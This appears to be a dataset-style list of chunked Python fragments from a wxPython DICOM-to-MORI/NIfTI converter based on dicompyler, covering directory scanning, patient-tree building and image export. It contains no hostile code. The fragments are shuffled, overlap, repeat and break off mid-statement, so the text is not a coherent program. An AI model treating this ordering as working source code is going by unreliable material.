"self.path, self.import_search_subfolders, self.SetThreadStatus, self.OnUpdateProgress, self.AddPatientTree, self.AddPatientDataTree)) self.t.start() def SetThreadStatus(self): \"\"\"Tell the directory search",
"variables if os.path.isfile('.dcmconverter.conf'): logger.info('Loading previous configuration...') with open('.dcmconverter.conf', 'r') as f: conf =",
"'studies' in patients[h]: patients[h]['studies'] = {} patients[h]['series'] = {} wx.CallAfter(foundFunc, patient) # Create",
"if the path is not valid, display an error message else: wx.CallAfter(progressFunc, 0,",
"= False if 'plans' in patient: for planid, plan in patient['plans'].items(): foundplan =",
"origin_header_lines = f.read().splitlines() with open(header_name, 'w') as f: for field in origin_header_lines: #",
"logger.debug(\"Reading: %s\", files[n]) dp = dicomparser.DicomParser(files[n]) except (AttributeError, EOFError, IOError, KeyError): pass logger.info(\"%s",
"= dlgDicomImporter.export_mori_format conf['export_nii_format'] = dlgDicomImporter.export_nii_format conf['output_dir'] = dlgDicomImporter.output_dir conf['output_name'] = dlgDicomImporter.output_name json.dump(conf, f,",
"util.GetResourcePath('table_selected.png'), wx.BITMAP_TYPE_PNG)) self.tcPatients.AssignImageList(iList) root = self.tcPatients.AddRoot('Patients', image=0) return root def AddPatientTree(self, patient): \"\"\"Add",
"planid, plan in patient['plans'].items(): if (planid == item['rtplan']): if 'rtss' in plan: if",
"= json.load(f) self.path = conf['path'] self.txtDicomImport.SetValue(self.path) self.only_export_voldata = conf['only_export_voldata'] XRCCTRL(self, 'check_mori').SetValue(self.only_export_voldata) self.min_slice_num =",
"they exist if 'structures' in patient: for structureid, structure in patient['structures'].items(): if 'rtss'",
"# \\r\\n if 'Thickness' in field: f.write('{} {:.6f}\\r'.format(field,reso[2])) elif 'ImagePositionBegin' in field: f.write('{}",
"in patient['plans'].items(): foundstructure = False planname = ' (' + plan['name'] + ')'",
"= dlgDicomImporter.offset conf['export_mori_format'] = dlgDicomImporter.export_mori_format conf['export_nii_format'] = dlgDicomImporter.export_nii_format conf['output_dir'] = dlgDicomImporter.output_dir conf['output_name'] =",
"= (16,16) iList = wx.ImageList(iSize[0], iSize[1]) iList.Add( wx.Bitmap( util.GetResourcePath('group.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('user.png'),",
"if (series['referenceframe'] == dose['referenceframe']): badstructure = self.tcPatients.AppendItem( series['treeid'], \"RT Structure Set not found\",",
"was found # and if it is an RT plan or RT dose",
"be sorted for i, image in enumerate(images): if (sort == 'IPP'): unsortednums.append(image.ImagePositionPatient[2]) else:",
"= dlgDicomImporter.min_slice_num conf['offset'] = dlgDicomImporter.offset conf['export_mori_format'] = dlgDicomImporter.export_mori_format conf['export_nii_format'] = dlgDicomImporter.export_nii_format conf['output_dir'] =",
"dose['referenceframe']): foundstructure = True if foundstructure: badplan = self.tcPatients.AppendItem( structure['treeid'], \"RT Plan not",
"dp = dicomparser.DicomParser(files[n]) except (AttributeError, EOFError, IOError, KeyError): pass logger.info(\"%s is not a",
"False if 'rtss' in dose: if (structureid == dose['rtss']): foundstructure = True if",
"if they exist if 'structures' in patient: for structureid, structure in patient['structures'].items(): if",
"imageid, image in patient['images'].items(): appendImage = False # used for image series if",
"wx.CallAfter(progressFunc, -1, 100, msgs[0]) for n in range(0, len(filearray)): if terminate(): wx.CallAfter(progressFunc, 98,",
"fake rtss to it foundseries = False for seriesid, series in patient['series'].items(): foundseries",
"DVH' foundstructure = False if 'structures' in patient: for structureid, structure in patient['structures'].items():",
"in patients[h]: patients[h]['plans'] = {} plan = dp.GetPlan() plan['id'] = dp.GetSOPInstanceUID() plan['filename'] =",
"elif 'Orientation' in field: f.write('{} {}\\r'.format(field,'LPF')) elif '' == field: pass else: f.write('{}",
"structure['series']): structure['treeid'] = self.tcPatients.AppendItem(series['treeid'], name, 4) foundseries = True # If no series",
"finished!') def OnCheckSearchSubfolders(self, evt): \"\"\"Determine whether to search subfolders for DICOM data.\"\"\" self.import_search_subfolders",
"== 'IPP'): sortednums = sorted(unsortednums, reverse=True) # Otherwise sort image numbers in ascending",
"100, 'Export Nifti image completed') def OnConvert(self, evt): if not self.selected_exports: self.AlertDialog('No Dicom",
"= np.array(images[i-1].ImageOrientationPatient) if (np.any(np.array(np.round(iop0 - iop1), dtype=np.int32))): parallel = False break # Also",
"= dp.GetSOPInstanceUID() dose['filename'] = files[n] dose['referenceframe'] = dp.GetFrameOfReferenceUID() dose['hasdvh'] = dp.HasDVHs() dose['hasgrid'] =",
"if not (images[0].InstanceNumber == \\ images[1].InstanceNumber): sort = 'InstanceNumber' # Otherwise sort by",
"{'filearray':filearray, 'info':item, 'rxdose':rxdose}) self.tcPatients.SetItemBold(item['treeid'], True) self.tcPatients.SelectItem(item['treeid']) def OnSelectTreeItem(self, evt): \"\"\"Update the interface when",
"# Hide the progress bar until it needs to be shown self.gaugeProgress.Show(False) self.lblProgressPercent.Show(False)",
"AlertDialog(self, msg): dialog = wx.MessageDialog(self, msg, 'Error', style=wx.OK) dialog.ShowModal() dialog.Destroy() def ChoiceDialog(self, msg):",
"dp = dicomparser.DicomParser(dcmfile) if (n == 0): patient = {} patient['rxdose'] = RxDose",
"'check_mori').SetValue(self.only_export_voldata) self.min_slice_num = conf['min_slice_num'] XRCCTRL(self, 'spin_minslices').SetValue(self.min_slice_num) self.offset = conf['offset'] XRCCTRL(self, 'spin_offset').SetValue(self.offset) self.export_mori_format =",
"= {} self.patients[h]['demographics'] = patient name = str(patient['name']) + ' (' + patient['id']",
"self.export_mori_format = XRCCTRL(self, 'check_mori').IsChecked() self.export_nii_format = XRCCTRL(self, 'check_nifti').IsChecked() self.output_dir = '' self.output_name =",
"name, 5) self.tcPatients.SetItemTextColour(badstructure, wx.RED) filearray = [plan['filename']] self.EnableItemSelection(patient, plan, filearray, plan['rxdose']) # Search",
"testing for differences in ImageOrientationPatient parallel = True for i, item in enumerate(images):",
"== \"BEAM\"): name += \" (Beam \" + str(dose['beam']) + \": \" if",
"patient from the DICOM importer dialog.\"\"\" msgs = ['Scanning patient. Please wait...','Exporting patient",
"return if self.export_nii_format: out_dir = os.path.join(os.path.dirname(out_basepath), 'NiftiFormat') if not os.path.isdir(out_dir): os.makedirs(out_dir) nii_fname =",
"series, []) # Search for RT Structure Sets if 'structures' in patient: for",
"the tree control.\"\"\" # Add the respective images to the filearray if they",
"slice ipp0 = np.array(item.ImagePositionPatient) ipp1 = np.array(images[i-1].ImagePositionPatient) if not (np.any(np.array(np.round(ipp0 - ipp1), dtype=np.int32))):",
"enumerate(images): if (sort == 'IPP'): if (slice == image.ImagePositionPatient[2]): sortedimages.append(image) elif (slice ==",
"unsupported file else: logger.info(\"%s is a %s file and is not \" +",
"name = 'RT Dose not found' baddose = self.tcPatients.AppendItem(badplan, name, 9) self.tcPatients.SetItemTextColour(baddose, wx.RED)",
"[] for root, dirs, filenames in os.walk(path): files += map(lambda f:os.path.join(root, f), filenames)",
"+= \")\" if \"dose\" in b: name += \" - Dose: \" +",
"dose, filearray) if not foundstructure: # If there is an image series, add",
"\"\"\"Add a new patient to the tree control.\"\"\" # Create a hash for",
"not foundseries: badstructure = self.tcPatients.AppendItem( patient['treeid'], \"RT Structure Set not found\", 7) plan['treeid']",
"patients...') patients = {} # Check if the path is valid if os.path.isdir(path):",
"= {} image['id'] = dp.GetSOPInstanceUID() image['filename'] = files[n] image['series'] = seinfo['id'] image['referenceframe'] =",
"== dose['rtss']): foundstructure = True if (structure['referenceframe'] == dose['referenceframe']): foundstructure = True if",
"#self.btnSelect.Enable(False) # If the item has data, check to see whether there is",
"color image!') return if dp.ds.BitsAllocated == 16: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int16) elif",
"# No RT Plan nor RT Dose files were found else: name =",
"'lblProgressPercent') self.lblProgressPercentSym = XRCCTRL(self, 'lblProgressPercentSym') self.tcPatients = XRCCTRL(self, 'tcPatients') self.bmpRxDose = XRCCTRL(self, 'bmpRxDose')",
"parallel, sort by ImagePositionPatient if parallel: sort = 'IPP' else: # Otherwise sort",
"import dicomparser from pyDcmConverter import guiutil, util class DcmConverterApp(wx.App): \"\"\"Prepare to show the",
"is an image series, add a fake rtss to it foundseries = False",
"patient['series'].items(): foundseries = False if (series['referenceframe'] == plan['referenceframe']): badstructure = self.tcPatients.AppendItem( series['treeid'], \"RT",
"the data of the selected patient from the DICOM importer dialog.\"\"\" msgs =",
"self.path, message=\"Choose a directory containing DICOM RT files...\") if dlg.ShowModal() == wx.ID_OK: self.path",
"gui wx.CallAfter(progressFunc, 0, 0, 'Searching for patients...') patients = {} # Check if",
"+ study['description'] study['treeid'] = self.tcPatients.AppendItem(patient['treeid'], name, 2) # Search for series and images",
"= {} wx.CallAfter(foundFunc, patient) # Create each Study but don't create one for",
"rxdose = parentdata['rxdose'] # Show the rxdose text box if no rxdose was",
"if guiutil.IsMac(): self.txtDicomImport.SetFont(font) self.btnDicomImport.SetFont(font) self.checkSearchSubfolders.SetFont(font) self.lblProgressLabel.SetFont(font) self.lblProgress.SetFont(font) self.lblProgressPercent.SetFont(font) self.lblProgressPercentSym.SetFont(font) self.tcPatients.SetFont(font) self.txtRxDose.SetFont(font) self.lblRxDoseUnits.SetFont(font) font.SetWeight(wx.FONTWEIGHT_BOLD)",
"the panel has been initialized.\"\"\" # Set window icon if not guiutil.IsMac(): self.SetIcon(guiutil.get_icon())",
"== 0): progressStr = 'Found 0 patients.' elif (len(patients) == 1): progressStr =",
"conf['path'] self.txtDicomImport.SetValue(self.path) self.only_export_voldata = conf['only_export_voldata'] XRCCTRL(self, 'check_mori').SetValue(self.only_export_voldata) self.min_slice_num = conf['min_slice_num'] XRCCTRL(self, 'spin_minslices').SetValue(self.min_slice_num) self.offset",
"= 0 seinfo['modality'] = dp.ds.SOPClassUID.name if not seinfo['id'] in patients[h]['series']: patients[h]['series'][seinfo['id']] = seinfo",
"the patient to the tree if they don't already exist if not h",
"if 'images' in patient: for imageid, image in patient['images'].items(): appendImage = False #",
"has changed # during the loop duration if terminate(): wx.CallAfter(progressFunc, 0, 0, 'Search",
"wx.Bitmap( util.GetResourcePath('pencil.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_bar.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_curve.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap(",
"images[1].InstanceNumber): sort = 'InstanceNumber' # Otherwise sort by Acquisition Number elif not (images[0].AcquisitionNumber",
"the structure/study instead if not foundplan: if dose['hasgrid']: if dose['hasdvh']: name = 'RT",
"field: f.write('{} {:.6f}\\r'.format(field,np.min(pos))) elif 'ImagePositionEnd' in field: f.write('{} {:.6f}\\r'.format(field,np.max(pos))) elif 'Hospital' in field:",
"RT Plan nor RT Dose files were found else: name = 'RT Plan",
"utils_cw import write_mori, get_mori_header_fields logger.info('Exporting image to %s', mori_fname) header_name = write_mori(image_array, reso,",
"interface events to the proper methods self.Bind(wx.EVT_BUTTON, self.OnBrowseDicomImport, id=XRCID('btnDicomImport')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckSearchSubfolders, id=XRCID('checkSearchSubfolders')) self.Bind(wx.EVT_TREE_SEL_CHANGED,",
"Block until the thread is done before destroying the dialog if dlgDicomImporter: if",
"== 16: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int16) elif dp.ds.BitsAllocated == 32: image_array =",
"evt): \"\"\"Update the interface when the selected item has changed.\"\"\" item = evt.GetItem()",
"if 'plans' in patient: for planid, plan in patient['plans'].items(): foundstructure = False planname",
"parallel = False break # If the images are parallel, sort by ImagePositionPatient",
"# if the path is not valid, display an error message else: wx.CallAfter(progressFunc,",
"sortedimages = [] unsortednums = [] sortednums = [] images = patient['images'] sort",
"wx.RED) # No RT Plan nor RT Dose files were found else: name",
"== 'rtdose'): stinfo = dp.GetStudyInfo() if not stinfo['id'] in patients[h]['studies']: patients[h]['studies'][stinfo['id']] = stinfo",
"dp.ds.BitsAllocated == 16: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int16) elif dp.ds.BitsAllocated == 32: image_array",
"terminated.') return if (os.path.isfile(files[n])): try: logger.debug(\"Reading: %s\", files[n]) dp = dicomparser.DicomParser(files[n]) except (AttributeError,",
"'lblRxDose') self.txtRxDose = XRCCTRL(self, 'txtRxDose') self.lblRxDoseUnits = XRCCTRL(self, 'lblRxDoseUnits') # Bind interface events",
"= 'RT Plan: ' + plan['label'] + planname + \\ ' - Dose:",
"False if (series['referenceframe'] == plan['referenceframe']): badstructure = self.tcPatients.AppendItem( series['treeid'], \"RT Structure Set not",
"msg, 'Warning', style=wx.OK_DEFAULT|wx.CANCEL) self.contiune_export = dialog.ShowModal() dialog.Destroy() def __GetNiftiAffineMatrix__(self, dp): di = float(dp.ds.PixelSpacing[0])",
"called after the panel has been initialized.\"\"\" # Set window icon if not",
"str(series['numimages']) + ' image)' if (series['numimages'] == 1) else str(series['numimages']) + ' images)'",
"elements.\"\"\" if not length: percentDone = 0 else: percentDone = int(100 * (num+1)",
"badplan = self.tcPatients.AppendItem(structure['treeid'], name, 8) self.tcPatients.SetItemTextColour(badplan, wx.RED) name = 'RT Dose not found'",
"# used for RT structure set if 'series' in item: if (item['series'] ==",
"write_mori, get_mori_header_fields logger.info('Exporting image to %s', mori_fname) header_name = write_mori(image_array, reso, mori_fname, True)",
"control.\"\"\" # Create a hash for each patient h = hashlib.sha1(patient['id'].encode('utf-8')).hexdigest() # Add",
"filearray = [], rxdose = None): \"\"\"Enable an item to be selected in",
"iList.Add( wx.Bitmap( util.GetResourcePath('table_selected.png'), wx.BITMAP_TYPE_PNG)) self.tcPatients.AssignImageList(iList) root = self.tcPatients.AddRoot('Patients', image=0) return root def AddPatientTree(self,",
"f.write('{} {:.6f}\\r'.format(field,np.min(pos))) elif 'ImagePositionEnd' in field: f.write('{} {:.6f}\\r'.format(field,np.max(pos))) elif 'Hospital' in field: f.write('{}",
"Search for RT Plans if 'plans' in patient: for planid, plan in patient['plans'].items():",
"in ['RTPLAN']): patient['rtplan'] = dp.ds elif (dp.ds.Modality in ['RTDOSE']): patient['rtdose'] = dp.ds wx.CallAfter(progressFunc,",
"self.output_dir) os.makedirs(self.output_dir) all_export_threads = [] for export in self.selected_exports: info = self.tcPatients.GetItemData(export) filearray,",
"window icon if not guiutil.IsMac(): self.SetIcon(guiutil.get_icon()) # Initialize controls self.txtDicomImport = XRCCTRL(self, 'txtDicomImport')",
"h in patients: patients[h] = {} patients[h]['demographics'] = patient if not 'studies' in",
"int(b['dose']) dose['treeid'] = self.tcPatients.AppendItem(plan['treeid'], name, 6) filearray = [dose['filename']] self.EnableItemSelection(patient, dose, filearray, rxdose)",
"args=(self, self.path, self.import_search_subfolders, self.SetThreadStatus, self.OnUpdateProgress, self.AddPatientTree, self.AddPatientDataTree)) self.t.start() def SetThreadStatus(self): \"\"\"Tell the directory",
"patient: for planid, plan in patient['plans'].items(): name = 'RT Dose not found' baddose",
"if (series['referenceframe'] == plan['referenceframe']): badstructure = self.tcPatients.AppendItem( series['treeid'], \"RT Structure Set not found\",",
"\"RT Structure Set not found\", 7) self.tcPatients.SetItemTextColour(badstructure, wx.RED) badplan = self.tcPatients.AppendItem( badstructure, \"RT",
"logger.info(\"%s is not a valid DICOM file.\", files[n]) else: patient = dp.GetDemographics() h",
"item to the tree for key, patient in self.patients.items(): patient.update(patients[key]) if 'studies' in",
"file is part of dicompyler, released under a BSD license. # See the",
"self.bmpRxDose = XRCCTRL(self, 'bmpRxDose') self.lblRxDose = XRCCTRL(self, 'lblRxDose') self.txtRxDose = XRCCTRL(self, 'txtRxDose') self.lblRxDoseUnits",
"from the DICOM importer dialog.\"\"\" return self.patient def OnCancel(self, evt): \"\"\"Stop the directory",
"reverse=True) # Otherwise sort image numbers in ascending order else: sortednums = sorted(unsortednums,",
"if not self.output_dir: self.AlertDialog('Please enter valid output dir!') return if not self.output_name: self.AlertDialog('Please",
"image = {} image['id'] = dp.GetSOPInstanceUID() image['filename'] = files[n] image['series'] = seinfo['id'] image['referenceframe']",
"not value: self.txtRxDose.SetValue(1) def ExportPatientData(self, path, filearray, RxDose, terminate, progressFunc, exportFunc): \"\"\"Get the",
"in self.patients.items(): patient.update(patients[key]) if 'studies' in patient: for studyid, study in patient['studies'].items(): name",
"If the images are parallel, sort by ImagePositionPatient if parallel: sort = 'IPP'",
"= True # If no series were found, add the rtss to the",
"(os.path.isfile(files[n])): try: logger.debug(\"Reading: %s\", files[n]) dp = dicomparser.DicomParser(files[n]) except (AttributeError, EOFError, IOError, KeyError):",
"# Now add the specific item to the tree for key, patient in",
"res): \"\"\"Method called after the panel has been initialized.\"\"\" # Set window icon",
"not found\", 7) foundseries = True # If no series were found, add",
"and return the result ret = dlgDicomImporter.ShowModal() # Save configure conf = {}",
"if they exist if 'plans' in patient: for planid, plan in patient['plans'].items(): if",
"the DICOM Import process interface elements.\"\"\" if not length: percentDone = 0 else:",
"= str(series['numimages']) + ' image)' if (series['numimages'] == 1) else str(series['numimages']) + '",
"[plan['filename']] self.EnableItemSelection(patient, plan, filearray, plan['rxdose']) # Search for RT Doses if 'doses' in",
"by the user.\"\"\" self.terminate = True dlg = wx.DirDialog( self, defaultPath = self.path,",
"self.export_nii_format: out_dir = os.path.join(os.path.dirname(out_basepath), 'NiftiFormat') if not os.path.isdir(out_dir): os.makedirs(out_dir) nii_fname = os.path.join(out_dir, os.path.basename(out_basepath)+'.nii.gz')",
"= series['modality'].partition(' Image Storage')[0] name = 'Series {}: {}. ({}, {} {})'.format(series['series_number'], series['description'],",
"parameters befor the tree generated.') def OnSpinSliceNum(self, evt): self.min_slice_num = evt.GetPosition() try: self.Check_Export_Files()",
"break for n in range(len(files)): # terminate the thread if the value has",
"if not foundseries: badstructure = self.tcPatients.AppendItem( patient['treeid'], \"RT Structure Set not found\", 7)",
"= np.array(item.ImageOrientationPatient) iop1 = np.array(images[i-1].ImageOrientationPatient) if (np.any(np.array(np.round(iop0 - iop1), dtype=np.int32))): parallel = False",
"directory search.\"\"\" # Call the progress function to update the gui wx.CallAfter(progressFunc, 0,",
"logger = getLogger('DcmConverter') import wx warnings.filterwarnings(\"ignore\", category=wx.wxPyDeprecationWarning) from wx.xrc import * import numpy",
"be selected in the tree control.\"\"\" # Add the respective images to the",
"ExportFunc(self, out_basepath, patient_data, progressFunc=None): if patient_data is None: return # Existence check if",
"= True if (structure['referenceframe'] == dose['referenceframe']): foundstructure = True if foundstructure: badplan =",
"# Otherwise sort by Instance Number if not (images[0].InstanceNumber == \\ images[1].InstanceNumber): sort",
"# End the dialog since we are done with the import process if",
"= XRCCTRL(self, 'lblProgressPercent') self.lblProgressPercentSym = XRCCTRL(self, 'lblProgressPercentSym') self.tcPatients = XRCCTRL(self, 'tcPatients') self.bmpRxDose =",
"DICOM import location does not exist. Please select a valid location.\", \"Invalid DICOM",
"self.btnDicomImport.SetFont(font) self.checkSearchSubfolders.SetFont(font) self.lblProgressLabel.SetFont(font) self.lblProgress.SetFont(font) self.lblProgressPercent.SetFont(font) self.lblProgressPercentSym.SetFont(font) self.tcPatients.SetFont(font) self.txtRxDose.SetFont(font) self.lblRxDoseUnits.SetFont(font) font.SetWeight(wx.FONTWEIGHT_BOLD) self.lblRxDose.SetFont(font) # Initialize",
"(item['series'] == image['series']): appendImage = True # used for RT plan / dose",
"evt): self.terminate = True def OnSpinOffset(self, evt): self.offset = evt.GetPosition() def OnCheckVolFlag(self, evt):",
"# Disable the rx dose message and select button by default self.EnableRxDose(False) #self.btnSelect.Enable(False)",
"has data, check to see whether there is an rxdose if not (self.tcPatients.GetItemData(item)",
"'IPP'): unsortednums.append(image.ImagePositionPatient[2]) else: unsortednums.append(image.data_element(sort).value) # Sort in LPI order! Modified by CL.Wang #",
"in ImageOrientationPatient parallel = True for i, item in enumerate(images): if (i >",
"float(dp.ds.PixelSpacing[1]), float(dp.ds.SliceThickness)] affine = self.__GetNiftiAffineMatrix__(dp) conv_kernel, hospital, kvp, model_name = dp.ds.ConvolutionKernel, dp.ds.InstitutionName, dp.ds.KVP,",
"= files[n] plan['series'] = dp.ds.SeriesInstanceUID plan['referenceframe'] = dp.GetFrameOfReferenceUID() plan['beams'] = dp.GetReferencedBeamsInFraction() plan['rtss'] =",
"the images are parallel, sort by ImagePositionPatient if parallel: sort = 'IPP' else:",
"int(100 * (num+1) / length) self.gaugeProgress.SetValue(percentDone) self.lblProgressPercent.SetLabel(str(percentDone)) self.lblProgress.SetLabel(message) if not (percentDone == 100):",
"image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]) pos = [] for i, img in enumerate(patient_data['images']):",
"DICOM importer dialog.\"\"\" return self.patient def OnCancel(self, evt): \"\"\"Stop the directory search and",
"patient['plans'].items(): name = 'RT Dose not found' baddose = self.tcPatients.AppendItem(plan['treeid'], name, 9) self.tcPatients.SetItemTextColour(baddose,",
"in patient: for planid, plan in patient['plans'].items(): name = 'RT Dose not found'",
"plan['referenceframe'] = dp.GetFrameOfReferenceUID() plan['beams'] = dp.GetReferencedBeamsInFraction() plan['rtss'] = dp.GetReferencedStructureSet() patients[h]['plans'][plan['id']] = plan #",
"message=\"Choose a directory containing DICOM RT files...\") if dlg.ShowModal() == wx.ID_OK: self.path =",
"False if (seriesid == structure['series']): structure['treeid'] = self.tcPatients.AppendItem(series['treeid'], name, 4) foundseries = True",
"name = 'RT Dose without Dose Grid or DVH' foundstructure = False if",
"= '' # Set the dialog font and bold the font of the",
"= dp.ds.SeriesNumber #added by CL.Wang seinfo['KVP'] = dp.ds.KVP seinfo['PatientPosition'] = dp.ds.PatientPosition seinfo['ModelName'] =",
"= XRCCTRL(self, 'tcPatients') self.bmpRxDose = XRCCTRL(self, 'bmpRxDose') self.lblRxDose = XRCCTRL(self, 'lblRxDose') self.txtRxDose =",
"is a %s file and is not \" + \\ \"currently supported.\", files[n],",
"planname = ' (' + plan['name'] + ')' if len(plan['name']) else \"\" rxdose",
"= 'AcquisitionNumber' # Add the sort descriptor to a list to be sorted",
"terminate, progressFunc, foundFunc, resultFunc): \"\"\"Thread to start the directory search.\"\"\" # Call the",
"show the dialog that will Import DICOM and DICOM RT files.\"\"\" def OnInit(self):",
"wx.ID_OK: return if self.export_nii_format: out_dir = os.path.join(os.path.dirname(out_basepath), 'NiftiFormat') if not os.path.isdir(out_dir): os.makedirs(out_dir) nii_fname",
"b['name'] if len(b['description']): name += \" - \" + b['description'] name += \")\"",
"(structure['referenceframe'] == dose['referenceframe']): foundstructure = True if foundstructure: badplan = self.tcPatients.AppendItem( structure['treeid'], \"RT",
"self.lblProgressPercent.Show(False) self.lblProgressPercentSym.Show(False) # Start the directory search as soon as the panel loads",
"= wx.SystemSettings.GetFont(wx.SYS_DEFAULT_GUI_FONT) if guiutil.IsMac(): self.txtDicomImport.SetFont(font) self.btnDicomImport.SetFont(font) self.checkSearchSubfolders.SetFont(font) self.lblProgressLabel.SetFont(font) self.lblProgress.SetFont(font) self.lblProgressPercent.SetFont(font) self.lblProgressPercentSym.SetFont(font) self.tcPatients.SetFont(font) self.txtRxDose.SetFont(font)",
"OnBrowseDicomImport(self, evt): \"\"\"Get the directory selected by the user.\"\"\" self.terminate = True dlg",
"= False if (series['referenceframe'] == plan['referenceframe']): badstructure = self.tcPatients.AppendItem( series['treeid'], \"RT Structure Set",
"is an rxdose if not (self.tcPatients.GetItemData(item) == None): data = self.tcPatients.GetItemData(item) #self.btnSelect.Enable() rxdose",
"= dp.ds wx.CallAfter(progressFunc, n//2, len(filearray), msgs[0]) # Sort the images based on a",
"' + plan['label'] + planname + \\ ' - Dose: ' + str(rxdose)",
"by default self.EnableRxDose(False) #self.btnSelect.Enable(False) # If the item has data, check to see",
"with open('.dcmconverter.conf', 'w') as f: conf['path'] = dlgDicomImporter.path conf['only_export_voldata'] = dlgDicomImporter.only_export_voldata conf['min_slice_num'] =",
"else 'images') #name = 'Series: ' + series['description'] + ' (' + modality",
"== plan['referenceframe']): badstructure = self.tcPatients.AppendItem( series['treeid'], \"RT Structure Set not found\", 7) foundseries",
"'check_nifti').IsChecked() self.output_dir = '' self.output_name = '' # Set the dialog font and",
"# Search for RT Doses if 'doses' in patient: for doseid, dose in",
"the rtss to the study if not foundseries: structure['treeid'] = self.tcPatients.AppendItem(study['treeid'], name, 4)",
"RAW image completed') if self.export_nii_format: import nibabel as nib logger.info('Exporting image to %s',",
"\\ \"currently supported.\", files[n], dp.ds.SOPClassUID.name) # Call the progress function to update the",
"item: if (item['referenceframe'] == image['referenceframe']): if not 'numimages' in item: appendImage = True",
"return the result ret = dlgDicomImporter.ShowModal() # Save configure conf = {} with",
"'studies' in patient: for studyid, study in patient['studies'].items(): name = 'Study: ' +",
"== 'RGB'): logger.info('Cannot handle color image!') return if dp.ds.BitsAllocated == 16: image_array =",
"planid, plan in patient['plans'].items(): name = 'RT Dose not found' baddose = self.tcPatients.AppendItem(plan['treeid'],",
"dp.ds wx.CallAfter(progressFunc, n//2, len(filearray), msgs[0]) # Sort the images based on a sort",
"elif 'ModelName' in field: f.write('{} {}\\r'.format(field,model_name)) elif 'PatientPosition' in field: f.write('{} {}\\r'.format(field,pat_pos)) elif",
"' cGy' if 'structures' in patient: for structureid, structure in patient['structures'].items(): foundstructure =",
"# This file is part of dicompyler, released under a BSD license. #",
"in field: f.write('{} {}\\r'.format(field,kvp)) elif 'KernelFunction' in field: f.write('{} {}\\r'.format(field,conv_kernel)) elif 'ModelName' in",
"# Show the rxdose text box if no rxdose was found # and",
"else: wx.CallAfter(progressFunc, 0, 0, 'Select a valid location.') dlg = wx.MessageDialog( parent, \"The",
"at https://github.com/bastula/dicompyler/ # # It's assumed that the reference (prescription) dose is in",
"with open(header_name, 'w') as f: for field in origin_header_lines: # \\r\\n if 'Thickness'",
"in all_export_threads] #[th.join() for th in all_export_threads] # wait all threads #self.AlertDialog('All exports",
"seinfo['KVP'] = dp.ds.KVP seinfo['PatientPosition'] = dp.ds.PatientPosition seinfo['ModelName'] = dp.ds.ManufacturerModelName seinfo['PixelSpacing'] = dp.ds.PixelSpacing seinfo['Orientation']",
"except: logger.error('Get dcm info error!') seinfo['numimages'] = 0 seinfo['modality'] = dp.ds.SOPClassUID.name if not",
"search and close the dialog.\"\"\" self.terminate = True super().OnCancel(evt) def main(): app =",
"in the tree control.\"\"\" # Add the respective images to the filearray if",
"files were found else: name = 'RT Plan not found' badplan = self.tcPatients.AppendItem(structure['treeid'],",
"in patient['doses'].items(): foundplan = False if 'plans' in patient: for planid, plan in",
"structure in patient['structures'].items(): foundstructure = False if 'rtss' in dose: if (structureid ==",
"in enumerate(images): if (i > 0): iop0 = np.array(item.ImageOrientationPatient) iop1 = np.array(images[i-1].ImageOrientationPatient) if",
"'checkSearchSubfolders') self.lblProgressLabel = XRCCTRL(self, 'lblProgressLabel') self.lblProgress = XRCCTRL(self, 'lblProgress') self.gaugeProgress = XRCCTRL(self, 'gaugeProgress')",
"rtplan, check rtplan->rtss if 'rtplan' in item: if 'plans' in patient: for planid,",
"True) with open(header_name, 'r') as f: origin_header_lines = f.read().splitlines() with open(header_name, 'w') as",
"if dlg.ShowModal() == wx.ID_OK: self.path = dlg.GetPath() self.txtDicomImport.SetValue(self.path) dlg.Destroy() #self.OnDirectorySearch() def OnDirectorySearch(self): \"\"\"Begin",
"else: select(child, minslice_check(child)) child, cookie = self.tcPatients.GetNextChild(child, cookie) logger.info('%d files selected!', len(self.selected_exports)) def",
"thread exists, block until it is done before # starting a new thread",
"foundseries = True # If no series were found, add the rtss to",
"self.Bind(wx.EVT_DIRPICKER_CHANGED, self.OnPickOutdir, id=XRCID('picker_output')) self.Bind(wx.EVT_TEXT, self.OnInputName, id=XRCID('text_output_name')) self.Bind(wx.EVT_BUTTON, self.OnConvert, id=XRCID('btn_convert')) self.Bind(wx.EVT_BUTTON, self.OnPause, id=XRCID('btn_pause')) self.Bind(wx.EVT_BUTTON,",
"'rxdose':rxdose}) self.tcPatients.SetItemBold(item['treeid'], True) self.tcPatients.SelectItem(item['treeid']) def OnSelectTreeItem(self, evt): \"\"\"Update the interface when the selected",
"(studyid == series['study']): modality = series['modality'].partition(' Image Storage')[0] name = 'Series {}: {}.",
"{}\\r'.format(field,study_date)) elif 'SeriesDate' in field: f.write('{} {}\\r'.format(field,serise_date)) elif 'AcquisitionDate' in field: f.write('{} {}\\r'.format(field,acq_date))",
"foundplan = False if 'plans' in patient: for planid, plan in patient['plans'].items(): foundplan",
"not found\", 8) dose['treeid'] = self.tcPatients.AppendItem(badplan, name, 5) self.tcPatients.SetItemTextColour(badplan, wx.RED) filearray = [dose['filename']]",
"patient = {} patient['rxdose'] = RxDose if (('ImageOrientationPatient' in dp.ds) and \\ not",
"in patient['structures'].items(): if 'rtss' in item: if (structureid == item['rtss']): filearray.append(structure['filename']) break elif",
"test ImagePositionPatient, as some series # use the same patient position for every",
"str(os.path.join(self.path, filearray[n])) dp = dicomparser.DicomParser(dcmfile) if (n == 0): patient = {} patient['rxdose']",
"out_basepath, patient_data, progressFunc=None): if patient_data is None: return # Existence check if self.export_mori_format:",
"for structureid, structure in patient['structures'].items(): foundstructure = False if 'rtss' in dose: if",
"# If no referenced rtss, but ref'd rtplan, check rtplan->rtss if 'rtplan' in",
"+ numimages series['treeid'] = self.tcPatients.AppendItem(study['treeid'], name, 3) self.EnableItemSelection(patient, series, []) # Search for",
"# If a previous search thread exists, block until it is done before",
